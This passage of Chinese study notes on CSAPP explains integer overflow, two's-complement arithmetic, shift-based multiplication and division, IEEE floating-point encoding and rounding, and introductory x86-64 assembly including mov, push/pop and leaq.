这里我们引入一个符号来表示w位的无符号数加法,其中u是unsigned的缩写,表示无符号数 对于操作数x和y,二者的取值范围都是大于等于0,小于2^w^ 我们重点来看一下,发生溢出时,这个结果是如何得到的 首先,我们看一下变量a,b的二进制表示,具体如图所示 当执行加法运算后,得到结果的二进制如上图所示,为了使得运算结果的数据位保持w位不变,最高位的1会被丢弃 因此得到的结果相当于减去2^w^ 在C语言的执行过程中,对于溢出的情况并不会报错,但是我们希望判定运算结果是否发生了溢出 下面我们看一下C语言中是如何判断溢出的: 由于x,y都是大于等于0的,因此二者之和一定大于等于其中的任意一个数,因此,我们可以用图中的代码来判断是否发生了溢出 如果返回值为1,表示运算结果正常,如果返回值为0,则表示发生了溢出,当然图中的if-else的书写方式是为了方便理解,实际可以简化为一句 对于这个判断条件是否正确,参考图中右边简单的数学推导,因此可以证明,当发生溢出时,得到的和小于其中的任意一个数(x或者y) 看完了无符号数加法,我们再来看一下有符号数加法 有符号数x,y,它们的取值范围如图所示 对于补码的加法运算,我们同样引入一个符号来表示,其中t就是补码的首字母缩写 想要准确地表示有符号数相加的结果需要w+1位,为了避免数据大小的扩张,最终结果将截断位w位来表示 与无符号数相加不同的是,有符号数的溢出分为正溢出和负溢出 接下来,我们看一个代码实例,例如 图中所示的代码,x加上y,我们期望得到的结果是 128,然而运行结果却是 -128 我们可以通过二进制的表示,来看一下结果为什么是-128 对于x和y的二进制表示如图所示,x与y相加之和,运算结果二进制表示如图所示,根据之前学过的有符号数的表示方式,最高位的1解释为负权重,因此运行结果就等于 -128,这个运行结果与通过公式计算的结果也是一致的,对于负溢出的情况,也是类似的 对于如何检测有符号数相加是否发生了溢出比较简单 当两个正数相加,得到的结果为负,则说明发生了正溢出,当两个负数相加,得到的结果为正,则说明发生了负溢出 看完了加法运算,我们再来看一下减法是如何实现的 CSAPP原书中提到了一个加法逆元(additive inverse)的概念 乍一听这一词比较陌生,其实也非常好理解,对于一个给定的x,存在x’,使得 x加上x’ 等于 x’加上x,并且等于0 我们称x’为x的加法逆元,实际上x与x’互为相反数,加法逆元也可以称为相反数 对于减法运算y-x,我们可以转换成y加上x的相反数,那么我们看一下对于无符号数x,它的相反数x’一个如何表示? 根据相反数的定义需要满足x’+x=0,但是x’和x都是非负数,那么x’应该如何来表示呢? 当x’加x等于2^w^时,导致溢出,同样结果也等于0,因此对于任意x大于等于0,小于2^w^,其w位的无符号逆元x’的表示如上图所示 我们再来看一下有符号数的逆元 对于补码表示的有符号数的逆元比较简单,当x大于最小值的情况,x的逆元就是负的x 唯一需要注意的地方就是当x取最小值时,由于补码表示的最大值与最小值是非对称的,最大值的绝对值比最小值的绝对值要小 关于最小值的逆元需要通过负溢出的方式来实现,补码最小值的逆元就是本身,具体数学公式表示如下图所示. 接下来会讲述乘法和除法. 首先看一下无符号数的乘法运算,对于w位的无符号数x和y,二者的乘积可能需要2w位来表示 在C语言中,定义了无符号数乘法所产生的结果是w位,因此,运行结果中会截取2w位中的低w位. 我们知道,截断操作所对应的数学运算——取模 因此,运行结果等于x与y乘积并对2^w^取模 接下来,我们看一下补码的乘法 无论是无符号数乘法,还是补码乘法,运算结果的位级表示都是一样的,只不过补码乘法比无符号数乘法多一步,需要将无符号数转换成补码(有符号数),具体数学表达式如图所示 接下来我们看几个例子,图中展示了3位无符号数和补码的乘法示例,通过表格中所列举的三组示例,我们可以看到 虽然完整的乘积结果的位级表示可能会不同,但是截断后的位级表示都是相同的 接下来,我们通过数学的方法来证明一下 假设x和y表示有符号数,x’和y’表示无符号数,x和x’的二进制表示相同,y与y’的二进制表示相同 根据之前我们讲过无符号数与有符号数的定义,对于相同的二进制表示,无符号数x’与有符号数x之间的关系如图所示 同样,无符号数y’与有符号数y之间的关系也如此. 对于x’乘以y’,然后对2^w^取模运算的具体推导过程如图所示 由于取模运算的原因,所有带有权重2^w^和2^2w^的项都丢掉了 虽然无符号数和补码两种乘积的完整位表示不同,但是截断之后结果的位级表示却相同 由于乘法指令的执行需要多个时钟周期 很多C语言的编译器试图用移位、加法和减法来代替整数乘法的操作 首先我们看一下乘以2的幂的情况 x乘以2^k^,就对应左移k位 相信看到这里,很多同学会有疑问,为什么乘以2的幂可以转换成左移操作? 接下来,我们看一下简单的数学证明. 例如,w位的无符号数x的二进制表示如图所示. 根据无符号数的定义,该二进制位所对应的无符号数可以通过图中的数学表达式计算得到 我们将$x$左移$k$位,移位后的二进制数位由$w$位增加到$w+k$位. 同样根据无符号数的定义,移位后的二进制所对应的无符号数如图所示. 通过对比移位前后二者之间的变化,我们可以发现移位后,无符号数$x’$等于无符号数 $x * 2^k$ 接下来,我们通过一个例子来看看乘以任意常数的情况. 例如,$x$ * $14$,$14$的二进制表示如图所示.$x$ * $14$ 等于$x$ * $(2^3+2^2+2^1)$ 根据刚才讲到的,乘以$2$的幂可以等效为左移操作 这样一来,一个乘法操作可以使用三个移位操作和两个加法操作来代替. 更好的情况,编译器甚至可以把$14$分解成$16-2$.这样一个乘法操作可以用两个移位和一个减法来代替 看完了乘法运算,我们再来看一下除法. 对于除以$2$的幂也可以用移位来实现,不过除法的移位采用的是右移,而不是左移. 关于右移到情况.这里需要注意一下.对于无符号数采用的是逻辑右移,而有符号数采用的是算术右移 (它们的差别在2.1中有) 整数的除法,还会遇到除不尽的情况,总是朝向$0$的方向进行舍入 例如,$3.14$向零舍入的结果是$3$,$-3.14$向零舍入的结果是$-3$ 对于$x\geq0,y>0$的情况,结果会向下舍入 对于$x<0,y>0$的情况,结果是向上舍入 首先,我们看一下无符号数除以$2$的幂的情况, $x$ 表示 $w$ 位的无符号数,对$x$进行右移操作$k$位的结果如图所示. 为了方便描述,这里我们引入两个变量,$x_1和x_2$ 其中$x_1$是$w-k$位的无符号数,$x_2$是$k位$的无符号数,我们将$x_1$左移$k$位 根据前面讲到的,左移$k$位等于$x_1*2^k$ $x_1$左移$k$位与$x_2$相加之和与$x$相等 由于$x_2$的长度为$k$位,因此$x_2$的取值范围为$0\leq x_2<2^k$,因此$x$除以$2^k$,取整的结果就等于$x_1$,这与$x$逻辑右移k位得到的结果是一样的 看完了无符号数的除法,再看一下补码的除法,当补码的最高位等于0时,对于非负数的来讲,算术右移与除以$2^k$是一样的. 对于负数来讲,需要特别注意一下,例如对 -12340对16位表示进行算术右移不同数位的结果 当需要舍入时,移位导致-771.25向下舍入位-772 根据整数除法向零舍入的原则,我们期望的得到的结果是-771 因此,需要在移位之前加入一个偏置,来修正这种不合适的舍入,其中偏置的值等于1左移k位减去1. 如图所示,当右移4位时,偏置量为$15((1<<4)-1)$ 通过加入偏置之和,再进行算术右移,即可得到向零舍入的结果 对于补码除以$2^k$的情况,当 $x<0$ 时,需要加上偏置,再进行算术右移.当 $x>0$ 时,可以直接进行算术右移. 不幸的是,这种方法并不能推广到除以任意常数. 与乘法不同,我们不能用除以2的幂的方法来表示除以任意常数k的除法. Floating Point(浮点数) 理解浮点数的第一步是考虑含有小数值的二进制数 我们先来看一下熟悉的十进制表示法,其中每个十进制位$d_i$的取值范围是$0$~$9$,这种表示的数学表达式如图所示,以小数点为分界线,小数点左边数字的权重是$10$的正幂,小数点右边数字的权重是10的负幂. 类比十进制的表示,我们看一下二进制的是如何表示小数的,其中$b_i$的取值是$0或1$.具体关于二进制权重的理解可以看一下这张图. 对于这种定点表示的方法,并不能很有效地表示非常大的数. 接下来,我们看一下IEEE的关于浮点数的表示 表达式$V = (-1)^s$ * $M$ * $2^E$,涉及三个变量$s$,$E$和$M$ 下面我们通过以单精度浮点数为例,看一下二进制位与浮点数之前的关系 例如C语言中float类型的变量占4个字节,32个比特位.这32个比特位被划分成3个字段来解释,具体表示如图所示. 其中最高位31位表示符号位为$s$,当$s=0$时,表示正数,当$s=1$时,则表示负数 从第23位到30位,这8个二进制位与阶码的值是相关的,剩余的23位与尾数$M$是相关的. 对于64位双精度浮点数,其二进制位与浮点数的关系如图所示. 与单精度浮点数相比,双精度浮点数的符号位也是1位.但是阶码字段的长度为11位,小数字段的长度为52位. 浮点数的数值可以分为三类. 第一类是规格化的值,第二类是非规格化的值,第三类是特殊值 其中阶码的值决定了这个数是属于其中哪一类 当阶码字段的二进制位不全为0,且不全为1时,此时的是规格化的值 当阶码字段的二进制位全为0时,此时表示的是非规格化的值. 当阶码字段的二进制位全为1时,表示的数值为特殊值. 特殊值分为两类,一类表示无穷大或者无穷小,另外一类表示“不是一个数” 接下来,我们详细解释一下这三类数值的表示. 当表示规格化的值时,其中阶码字段的取值范围如图所示.最小值是1,最大值是254. 为了方便描述,我们用小写字母e来表示这个8位二进制数. 需要注意的是阶码的值并不等于$e$(8个二进制位)所表示的值,而是$e$的值减去一个偏置量,偏置量的值与阶码的字段的位数是相关的. 当表示单精度的值时,阶码字段的长度为8,偏置量等于127. 当表示双精度的值时,阶码字段的长度为11,偏置量等于1023. 因此,对于单精度浮点数,阶码的最小值是-126,最大值是127. 我们再来看一下小数字段 尾数M被定义为1+f,尾数M的二进制表示如图所示. 因为我们可以调整E的取值,使得尾数M的取值范围为$1\leq M\leq2$ 既然第一位总是1,那么就没有必要显示的表示出来. 这就是为什么尾数M的值需要加1,这个加1的地方需要特别记住 在了解了符号位、阶码字段以及小数字段所表示的数值后 就可以根据浮点数的计算公式来计算出对应的数值 接下来,我们看一下第二类数值——非规格化的值 当阶码字段的二进制位全为0时,所表示的是非规格化的值 关于非规格化的数有两个用途 一、提供了表示数值0的方法 当符号位s等于0,阶码字段全为0,小数字段也全为0时,此时表示正零. 当符号位s等于1,阶码字段全为0,小数字段也全为0时,此时表示负零. 根据IEEE的浮点规则,正零和负零只是在某些方面被认为是不同的. 二、可以表示非常接近0的数. 当阶码字段全为0时,阶码E的值等于1-bias ,而尾数的值M等于f,不包含隐藏的1.这与规格化的值的解释方法不同,这里需特别注意一下. 我们再来看一下特殊值是如何表示的 当阶码字段全为1,且小数字段全为0时,表示无穷大的数. 无穷大也分两种,正无穷大和负无穷大 如果符号位s等于0时,表示正无穷大. 如果符号位s等于1时,表示负无穷大. 此外,还会遇到一些运算结果不为实数或者用无穷也无法表示的情况. 这里引入一个新概念——“不是一个数”(Not a Number) 例如,我们对-1进行开方运算,无穷减无穷的运算,此时得到的结果就会返回NaN. 当阶码字段全为1,且小数字段不为0时,可以表示NaN(Not a Number) 以上便是浮点数三类数值的表示规则. 为了更加直观地理解,我们看一个8位浮点数的表示例子. 这个示例假定符号位长度为1,阶码字段的长度为4,小数字段长度为3. 对于非规格化数0的表示,我们可以看到阶码字段和小数字段全都为0. 对于其他非常接近0的非规格化数,我们可以看到其中阶码字段全部为0.小数字段的取值范围从001~111,这个小数字段所对应的尾数的值如图所示 最终,这个8位浮点数的数值是由阶码的幂与尾数相乘之后得到的 看完了非规格化的数,我们再来看看规格化的数. 首先,看一下规格化的数的最小值是如何表示的,阶码字段的二进制数值为0001,长度为4的阶码所对应的偏置量是7,根据计算公式可以得到阶码E的值为-6. 由于小数字段为0,因此尾数M等于1. 最终得到最小值$V=1*2^{-6}$ 不断地增加阶码,会获得更大的规格化的值 当阶码字段为1110,小数字段为111时,此时可以得到最大的规格化的值为240. 接下来,看一下特殊值的表示. 当阶码字段全为1且小数字段全为0时,可以表示无穷大. 接下来,我们将整型数12345转换成浮点数12345.0 通过转换过程,我们将会了解这段匹配数位是如何产生的 整型数12345,其二进制数表示如图所示 虽然int类型变量占32个比特位,由于该数的高18位都等于0. 因此,我们可以将高18位忽略,只看低14位 根据规格化数的表示规则,我们可以将12345用图中的方式来表示 根据IEEE浮点数的编码规则,我们将小数点左边的1丢弃. 由于单精度的小数字段长度为23,我们还需要在末端增加10个零 这样我们就得到了浮点数的小数字段 从12345的规格化表示可以发现阶码E的值等于13. 由于单精度浮点数的bias(偏置)等于127. 因此根据公式$E=e-bias$,可以计算出$e=140$,其二进制表示为$1000,,1100$,这样一来,浮点数的阶码字段也得到了. 最后,再加上符号位的0,整个单精度浮点数的二进制表示就构造完了. 通过这个构造过程,我们可以发现之前提到的匹配的字段是如何产生的.由于表示方法的原因,限制了浮点数的范围和精度,所以浮点运算只能近似地表示实数运算. 对于值x,可能无法用浮点数形式来精确表示. 因此我们希望可以找到”最接近的值” $x’$ 来代替x.这就是舍入操作的任务. 一个关键的问题就是在两个可能的值中间确定舍入方向 例如一个数值1.5,想把该数舍入到最接近的整数,舍入结果应该是1还是2呢? IEEE浮点格式定义来四种不同的舍入方式,分别是: 1.Round-to-even(向偶数舍入) 2.Round-toward-zero(向零舍入) 3.Round-down(向下舍入) 4.Round-up(向上舍入) 向下舍入和向上舍入的情况比较简单,向下舍入总是朝着小的方向进行舍入. 比如 1.4,1.5,1.6这三个数向下舍入的结果都是1. 而向上舍入总是朝着大的方向进行舍入.那么上面这三个数结果都为2. 之前提到过向零舍入,这里不再赘述. 第四种舍入方式为 向偶数舍入,也被称为向最接近的值舍入. 例如: 1.4的舍入结果是1, 1.6的舍入结果是2. 需要注意的是当遇到两个可能结果的中间数值时 舍入的结果应该如何计算? 例如: 1.5,2.5这类数据,向偶数舍入的舍入结果要遵循 最低有效数字是偶数的规则. 因此1.5的舍入结果究竟是1还是2,取决于1和2哪个数是偶数,对于2.5同理,因此,1.5和2.5向偶数舍入的结果都是2. 为什么要偏向取偶数呢? 如果总是才用向上舍入,会导致结果的平均值相对于真实值略高 如果总是才用向下舍入,会导致结果的平均值相对于真实值略低向偶数舍入就减少了这种统计偏差. 向偶数舍入除了十进制小数上使用也可以用在二进制小数上. 将最低有效位的值0认为是偶数,1认为是奇数 例如图中这个二进制小数,当舍入需要精确到小数点右边2位时. 由于这个数是两个可能值的中间值,根据向偶数舍入的规则 舍入结果为11.00 接下来,我们看一下浮点数加法的例子 例如图中的两个表达式,其中表达式1的计算结果等于0.0 而表达式二的计算结果等于3.14. 这是由于表达式1在计算3.14与1e10相加时,对结果进行了舍入,值3.14会丢失. 因此,对于浮点数的加法是不具有结合性的. 同样由于计算结果可能发生溢出,或者由于舍入而失去精度 导致浮点数的乘法也不具有结合性 例如图中的两个表达式,表达式3的结果为正无穷大,而表达式4的结果为$1*19^{20}$ 此外,浮点乘法在加法上不具备分配性. 例如在单精度浮点的情况下,图中两个表达式的计算结果也不同 对于从事科学计算的程序员以及编译器的开发人员来说 缺乏结合性和分配性是一个比较严重的问题 C语言提供了两种不同的浮点数据类型,单精度float类型和双精度double类型. 当int,float,double不同数据类型之间进行强制类型转换时. 得到的结果可能会超出我们的预期 当int类型转换成float类型时,数字不会发生溢出,但可能会被舍入. 这是由于单精度浮点数的小数字段是23位的,可能会出现无法保留精度的情况. 当int类型或者float类型转换成double类型时,由于double类型具有更大的范围,所以可以保留精确的数值. 从double类型转换成float类型,由于float类型所表示的数值范围更小,所以可能会发生溢出. 此外,float类型的精度相对于double较小,转换后可能被舍入. 当float类型或者double类型的浮点数转换成int类型,一种可能的情况是值会向零舍入. 例如: 1.9会被转化成1,-1.9会被转换成-1 另外一种可能的情况则是发生溢出. Chapter 3: Machine-Level Representation of Programs (程序的机器级表示) 在第一章讲述计算机系统漫游时,我们曾提到过编译系统的工作流程. 这一节我们详细介绍一下C语言、汇编代码以及机器代码之间的关系. 理解汇编代码与原始C代码之间的关系,是理解计算机如何执行程序的关键一步. 因此,稍微花一些时间来学习一下汇编语言,对理解计算机系统是非常有必要的. 我们先来简单地看一下英特尔(Intel)处理器的发展历史。 接下来,我们看一个C代码的例子. 这个示例中包含两个源文件,一个是main.c,另外一个是mstore.c 我们可以通过图中的命令编译这些代码.其中gcc指的是GCC编译器,它是Linux系统上默认的编译器.其中编译选项-Og是用来告诉编译器生成符合原始C代码整体结构的机器代码. 在实际项目中,为了获得更高的性能,会使用-O1或者-O2,甚至更高的编译优化选项.但是使用高级别的优化产生的代码会严重变形.导致产生的机器代码与最初的源代码之间的关系难以理解. 这里方便理解,因此选择-Og这个优化选项,-o 后面跟的参数prog表示生成可执行文件的文件名.关于更多链接方面的知识,我们将在第七章做详细地讲解. 首先,我们以源文件mstore.c为例,看一下C代码和汇编代码之间的关系. 使用这条命令(gcc -Og -S mstore.c)可以生成mstore.c所对应的汇编文件mstore.s . 其中-S这个编译选项就是告诉编译器GCC产生的文件为汇编文件 我们可以用编辑器(vim)等打开这个汇编文件.由于篇幅限制,我们省略来部分内容. 其中以“.”开头的行都是指导汇编器和链接器工作的伪命令.也就是说我们完全可以忽略这些以“.”开头的行. 删除了无关的信息之后,剩余这些汇编代码与源文件C代码是相关的. 接下来,我们看一下这段C程序所对应的第一条汇编代码. pushq这条指令的意思是将寄存器rbx的值压入程序栈进行保存. 相信大家对一开始的这个操作会有疑问.为什么程序一开始要保存寄存器rbx的内容? 这里我们需要简单介绍一下寄存器的背景知识。 在Intel x86-64的处理器中包含了16个通用目的的寄存器 这些寄存器用来存放整数数据和指针.图中显示的这16个寄存器,它们的名字都是以%r开头的.在详细介绍寄存器功能之前,我们首先需要搞清楚两个概念. 调用者保存寄存器 和 被调用者保存寄存器 例如图中的这个例子 函数A中调用了函数B.因此,函数A称为调用者,函数B称为被调用者.由于调用了函数B,寄存器rbx在函数B中被修改了.逻辑上,寄存器rbx的内容在调用函数B的前后应该保持一致. 解决这个问题有两个策略. 一个是函数A在调用函数B之前提前保存寄存器rbx的内容(save register rbx).执行完函数B之后,再恢复寄存器rbx原来存储的内容(restore register rbx). 这种策略称之为 调用者保存 另外一个策略是函数B在使用寄存器rbx之前,先保存寄存器rbx的值,在函数B返回之前,先恢复寄存器rbx原来存储的内容. 这种策略被称之为 被调用者保存 对于具体使用哪一种策略,不同的寄存器被定义成不同的策略. 具体如图所示. 寄存器rbx被定义为 被调用者保存寄存器(callee-saved register) 因此,pushq就是用来保存寄存器rbx的内容. 在函数返回之前,使用了pop指令,恢复寄存器rbx的内容. 第二行汇编代码的含义是将寄存器rdx的内容复制到寄存器rbx. 根据寄存器用法的定义,函数multstore的三个参数分别保存在寄存器rdi,rsi和rdx中. 这条指令结束后,寄存器rbx与寄存器rdx的内容一致.都是desk指针所指向的内存地址. move指令的后缀“q“表示数据的大小.由于早期的机器是16位,后来才扩展到32位. 因此,Intel用字(word)来表示16位的数据类型. 所以,32位的数据类型称为双字,64位的数据类型就称为四字. 图中的表格给出来C语言的基本类型对应的汇编后缀表示.其中需要特别注意这一列的内容 大多数GCC生成的汇编指令都有一个字符后缀来表示操作数的大小 例如数据传送指令就有四个变种. 分别为movb、movw、movl以及movq.分别对应Move byte的缩写,表示传送字节,Move word的缩写,表示传送字,Move double word的缩写,表示传送双字,其中l是long word的缩写,传送四字. call指令对应于C代码中的函数调用,这一行代码比较容易理解. 该函数的返回值会保存到寄存器rax中. 因此,寄存器rax中保存来x和y的乘积的结果. 下一条指令将寄存器rax的值送到内存中保存,内存的地址就存放在寄存器rbx中. 最后一条指令ret就是函数返回.关于更多寄存器与汇编语言的知识,后续会有更加详细的介绍. 接下里,我们看一下C代码是如何翻译成机器代码的 我们只需要将编译选项-S替换成-c ,执行 gcc -Og -c mstore.c这条命令,即可产生mstore.c所对应的机器代码文件mstore.o 由于该文件是二进制格式的,所以无法直接查看. 这里我们需要借助一个反汇编工具—objdump 汇编器将汇编代码翻译成二进制的机器代码,那么反汇编器就是机器代码翻译成汇编代码.通过命令objdump -d mstore.o,我们可以查看mstore.o中的相关信息.具体内容如图所示. 通过对比反汇编得到的汇编代码与编译器直接产生的汇编代码,可以发现二者存在细微的差别. 反汇编代码省略来很多指令的后缀的“q”,但在call和ret指令添加后缀“q”.由于q只是表示大小的指示符,大多数情况下是可以省略的. 通过上面的描述,我们大概了解了C代码、汇编代码、机器代码之间的关系.这些介绍就先在这里. 寄存器与数据传送指令 在第一章计算机系统漫游时,提到过计算机系统中信息的存储部件.相对于内存和硬盘,大家对寄存器可能会陌生些. 接下来,我们详细介绍一下寄存器的相关知识 最早8086的处理器中包含八个16位的通用寄存器,具体如图所示. 每个寄存器都有特殊的功能,它们的名字就反映了不同的用途。当处理器从16位扩展到32位时,寄存器的位数也随之扩展到了32位. 直到今天64位的处理器中,原来8个16位寄存器已经扩展成了64位. 除此之外,还增加了八个新的寄存器,在一般的程序中不同的寄存器扮演着不同的角色,相应的编程规范规定了如何使用这些寄存器. 例如寄存器rax用来保存函数的返回值 寄存器rsp用来保存程序栈的结束位置 除此之外,还有6个寄存器可以用来传递函数参数。 在了解了这些寄存器的用法之后, 再去理解汇编代码就会容易多了. 接下来我们看一下指令的相关知识。 大多数指令包含两部分操作码和操作数 例如图中的这几条指令,movq、addq、subq这部分被定义为操作码. 它决定了cpu所执行操作的类型.操作码之后的这部分是操作数.大多数指令具有一个或者多个操作数 不过像ret返回指令,是没有操作数的. 不同指令的操作数大致可以分为三类,分别为立即数、寄存器以及内存引用。 在AT&T格式的汇编中,立即数是以$符号开头的,后面跟一个整数. 不过这个整数需要满足标准C语言的定义. 操作数是寄存器的情况也比较容易理解,即使在64位的处理器上,不仅64位的寄存器可以作为操作数. 32位、16位甚至8位的寄存器都可以作为操作数。 需要注意的是,图中这种寄存器带了小括号的情况,它所表示的是内存引用, 接下来我们重点看一下内存引用的情况 我们通常将内存抽象成一个字节数组。当需要从内存中存取数据时,需要获得目的数据的,起始地址addr,以及数据长度b 我们使用图中的符号来表示内存引用。 为了简便,通常会省略下标b 最常用的内存引用包含四部分,分别是一个立即数、一个基址寄存器,一个变址寄存器和一个比例因子。 引用数组元素时,会使用到这种通用的形式. 有效地址是通过立即数与基址寄存器的值相加,再加上变址寄存器与比例因子的乘积,具体的计算方法如上图所示 关于比例因子s的取值必须是1、2、4或者8 看到这里,相信大家都能猜出比例因子的取值为什么是这四个数中的一个. 实际上比例因子的取值是与源代码中定义的数组的类型是相关的。编译器会根据数组的类型来确定比例因子的数值 例如定义char类型的数组,比例因子就是1,int类型,比例因子就是4,至于double类型比例因子就是8. 其他形式的内存引用都是这种普通形式的变种,省略了其中的某些部分 图中列出了内存引用的其他形式,需要特别注意的两种写法是不以$符号开头的立即数和了括号的寄存器。 在前面内容中,我们提到过mov类指令.它包含movb、movw、movl以及movq这四条指令,这些指令执行相同的操作,都是把数据从源位置复制到目的位置,主要区别在于它们操作的数据大小不同,具体如图所示 对于move类指令,含有两个操作数,一个称为源操作数,另外一个称为目的操作数 对于源操作数,可以是一个立即数、一个寄存器,或者是内存引用. 由于目的操作数是用来存放源操作数的内容 所以目的操作数要么是一个寄存器,要么是一个内存引用。 注意目的操作数不能是一个立即数。 除此之外,x86-64的处理器有一条限制 就是move指令的源操作数和目的操作数不能都是内存的地址 那么当需要将一个数从内存的一个位置复制到另外一个位置时 应该如何做呢? 此时需要两条move指令来完成. 第一条指令,将内存源位置的数据加载到寄存器 第二条指令,再将该寄存器的值写入内存的目的位置 接下来,我们看几个关于move指令的例子。 图中的指令给出了不同类型的源操作数和目的操作数的组合 第一个是源操作数,第二个是目的操作数 move指令的后缀与寄存器的大小一定得是匹配的 例如寄存器eax是32位与双字 l 对应 寄存器al是8位,与字节 b 对应 除此之外,move指令还有几个特殊的情况需要了解一下 当movq指令的源操作数是立即数时,该立即数只能是32位的补码表示,然后对该数值进行符号位扩展 将得到了64位数传送到目的位置。 这个限制会带来一个问题,当立即数是64位时应该如何处理? 这里引入了一个新的指令—movabsq 该指令的源操作数可以是任意的64位立即数 需要注意的是,目的操作数只能是寄存器。 接下来,我们通过一个例子来看一下使用move指令进行数据传送时 对目的寄存器的修改结果是怎样的? 首先使用movabsq指令将一个64位的立即数复制到寄存器rax 此时,寄存器rax内保存的数值如图所示 接下来,使用movb指令将立即数-1复制到寄存器al 寄存器all的长度为8,与movb指令所操作的数据大小一致 此时,寄存器rax的低8位发生了变化,第三条指令movw是将立即数-1复制到寄存器ax 此时寄存器rax的低16位发生了改变 当指令movl将立即数-1复制到寄存器eax时 此时寄存器rax不仅仅是低32位发生了变化,而且高32位也发生了变化。 当movl的目的操作数是寄存器时,它会把该寄存器的高4字节设置为0。这是x86-64位处理器的一个规定 即任何对寄存器生成32位值的指令,都会把该寄存器的高位部分置为零 以上介绍的都是源操作数与目的操作数的大小一致的情况。 当源操作数的数位小于目的操作数时 我们需要对目的操作数剩余的字节进行零扩展或者符号位扩展 零扩展数据传送指令有5条,其中字符z是zero的缩写 指令最后的两个字符都是大小指示符 第一个字母表示源操作数的大小 第二个字母表示目的操作数的大小 符号为扩展传送指令有6条,其中字符s是sign的缩写 同样指令最后的两个字符也是大小指示符 对比零扩展和符号扩展,我们可以发现符号扩展比零扩展多一条4字节到8字节的扩展指令 为什么零扩展没有movzlq指令呢? 是因为这种情况的数据传送可以通过movl指令来实现 最后,符号位扩展还有一条没有操作数的特殊指令cltq 该指令的源操作数总是寄存器eax,目的操作数总是寄存器rax cltq指针的效果与图中这条指针(movslq %eax,%rax)的效果是一致的,只不过编码更紧凑一些。 栈与数据传送指令 为了更好地理解寄存器与数据传送指令。 我们先从计算机系统的视角,看一下程序执行时数据传送的情况 在第一章,我们提到过 helloworld 程序加载运行的大致过程。 最初可执行文件是保存在硬盘上。通过shell程序,将可执行程序从硬盘加载的内存 此时,程序指令以及数据都保存在内存中。 CPU要执行程序,需要从内存中读取指令和数据 实际上,在一些程序的执行过程中,需要在CPU和内存之间进行频繁的数据存取 例如CPU执行一个简单的加法操作,那么首先CPU通过执行数据传送指令,将a和b的值从内存读到寄存器 寄存器就是CPU内一种数据存储的部件,只不过容量比较小 我们以x86-64位处理器为例,寄存器rax的大小是64个比特位,也就是8个字节 如果变量a是long类型,需要占用8个字节 因此,寄存器rax全部的数据位都用来保存变量a 如果变量a是int类型,那么只需要用4个字节来存储该变量 那么只需要用到寄存器的低32位就够了 如果变量a是short类型,则只需要用到寄存器的低16位 对于寄存器rax如果使用全部的64位,用符号%rax来表示 如果只用到低32位,可以用符号%eax来表示 对于低16位和低8位,分别用%ax和%al来表示 虽然用了不同的表示符号,但实际上只是针对同一寄存器的不同数位进行操作 处理器完成加法运算之后,再通过一条数据传送指令将计算结果保存到内存。 正是因为数据传送在计算机系统中是一个非常频繁的操作 所以了解一下数据传送指令对理解计算机系统会有很大的帮助 接下来,我们看一个数据传送的代码示例。 main函数中定义了变量a,并且赋值为4,随后调用了一个exchange函数。 该函数执行返回后,变量a的值会替换成3,变量b将保存变量a原来的值4 我们重点看一下函数exchange所对应的汇编指令 函数exchange由三条指令实现,包括两条数据传送指令和一条返回指令。 根据寄存器使用的惯例,寄存器rdi和rsi分别用来保存函数传递的第一个参数和第二个参数 因此寄存器rdi中保存了xp的值.寄存器rsi保存了变量y的值。 这段汇编代码并没有显式的将这部分表现出来,需要注意一下 第一条mov指令从内存中读取数值到寄存器 内存地址保存在寄存器rdi中. 目的操作数是寄存器rax,这条指令对应于图中的这行代码(x = *xp) 由于最后exchange函数需要返回变量x的值,所以这里直接将变量x放到寄存器rax中 第二条mov指令将变量y的值写到内存里。变量y存储在寄存器rsi中。内存地址保存在寄存器rdi中,也就是xp指向的内存地址,这条指令对应于函数exchange中的这行代码(*xp = y) 通过这个例子,我们可以看到C语言中所谓的指针,其实就是地址。 此外,还有两个数据传送指令需要借助程序栈 学过数据结构的同学都知道,栈是一种数据结构 通过push操作把数据压入栈,通过pop操作删除数据 栈具有一个特性,就是弹出的数据永远是最近被压入的且仍然在栈中。 这个程序栈本质上是内存的一个区域。 在第一栈计算机系统漫游中,我们曾经提到过程序的运行时内存分布 图中的这个区域就是程序栈(User Stack) 栈的增长方向是从高地址向低地址 因此,栈顶的元素是所有栈中元素地址中最低的。 根据惯例,栈是倒过来画的.栈顶在图中的底部,栈底在顶部 例如我们需要保存寄存器rax内存储的数据0x123,可以使用pushq指令把数据压入栈内。 该指令执行的过程可以分解为两步。 首先指向栈顶的寄存器rsp进行一个减法操作 例如压栈之前,栈顶指针rsp指向栈顶的位置,此处的内存地址是0x108 压栈的第一步就是寄存器rsp的值减8,此时指向的内存地址是0x100,然后将需要保存的数据复制到新的栈顶地址 此时,内存地址0x100处将保存寄存器rax内存储的数据0x123 实际上,pushq指令等效于图中的这两条指令(subq movq) 它们之间的区别在于pushq这一条指令只需要一个字节 而图中的这两条指令需要8个字节.说到底,push指令的本质还是将数据写入到内存里。 那么,与之对应的pop指令就是从内存中读取数据,并且修改栈顶指针。例如图中这条popq指令就是将栈顶保存的数据复制到寄存器rbx中 pop指令的操作也可以分解为两步: 首先从栈顶的位置读出数,据复制到寄存器rbx 此时栈顶指针rsp指向的内存地址是0x100,然后将栈顶指针加8,pop后栈顶指针rsp指向的内存地址是0x108,因此pop操作也可以等效成图中的这两条指令(movq addq) 实际上,pop指令是通过修改栈顶指针所指向的内存地址来实现数据删除的 此时,内存地址0x100内所保存的数据0x123仍然存在,直到下次push操作此处保留的数值才会被覆盖。 至此,数据传输指令的内容就介绍完了 算术和逻辑运算指令 我们来看一下有关算术和逻辑操作的指令。 首先,我们看一下指令leaq,它实现的功能是加载有效地址 q表示地址的长度是四个字。 由于x64-64位处理器上,地址长度都是64位,因此不存在leab、leaw这类有关大小的变种 例如图中的这条指令,它表示的含义是把有效地址复制到寄存器rax中 这个源操作数看上去与内存引用的格式类似 有效地址的计算方式与之前讲到的内存地址的计算方式是一致的 可以通过图中的公式计算得到. 假设寄存器rdx内保存的数值为x,那么有效地址的值为5x+7。 注意,对于leaq指令所执行的操作并不是去内存地址(5x+7)处读取数据 而是将有效值(5x+7)这个值直接写入到目的寄存器rax 因此,这个地方需要特别注意一下,除了加载有效地址的功能,leaq指令还可以用来表示加法和有限的乘法运算。 例如图中的这段C代码经过编译后 这段代码是通过三条leaq指令来实现的,接下来我们看一下如何通过leaq指令实现算术运算 根据计算机的使用惯例参数x,y,z分别保存在寄存器rdi,rsi以及rdx中. 还是根据内存引用的计算公式,第一条指令的源操作数就对应于x+4*y,具体过程如图所示 指令leaq将该数值保存到目的寄存器rax中 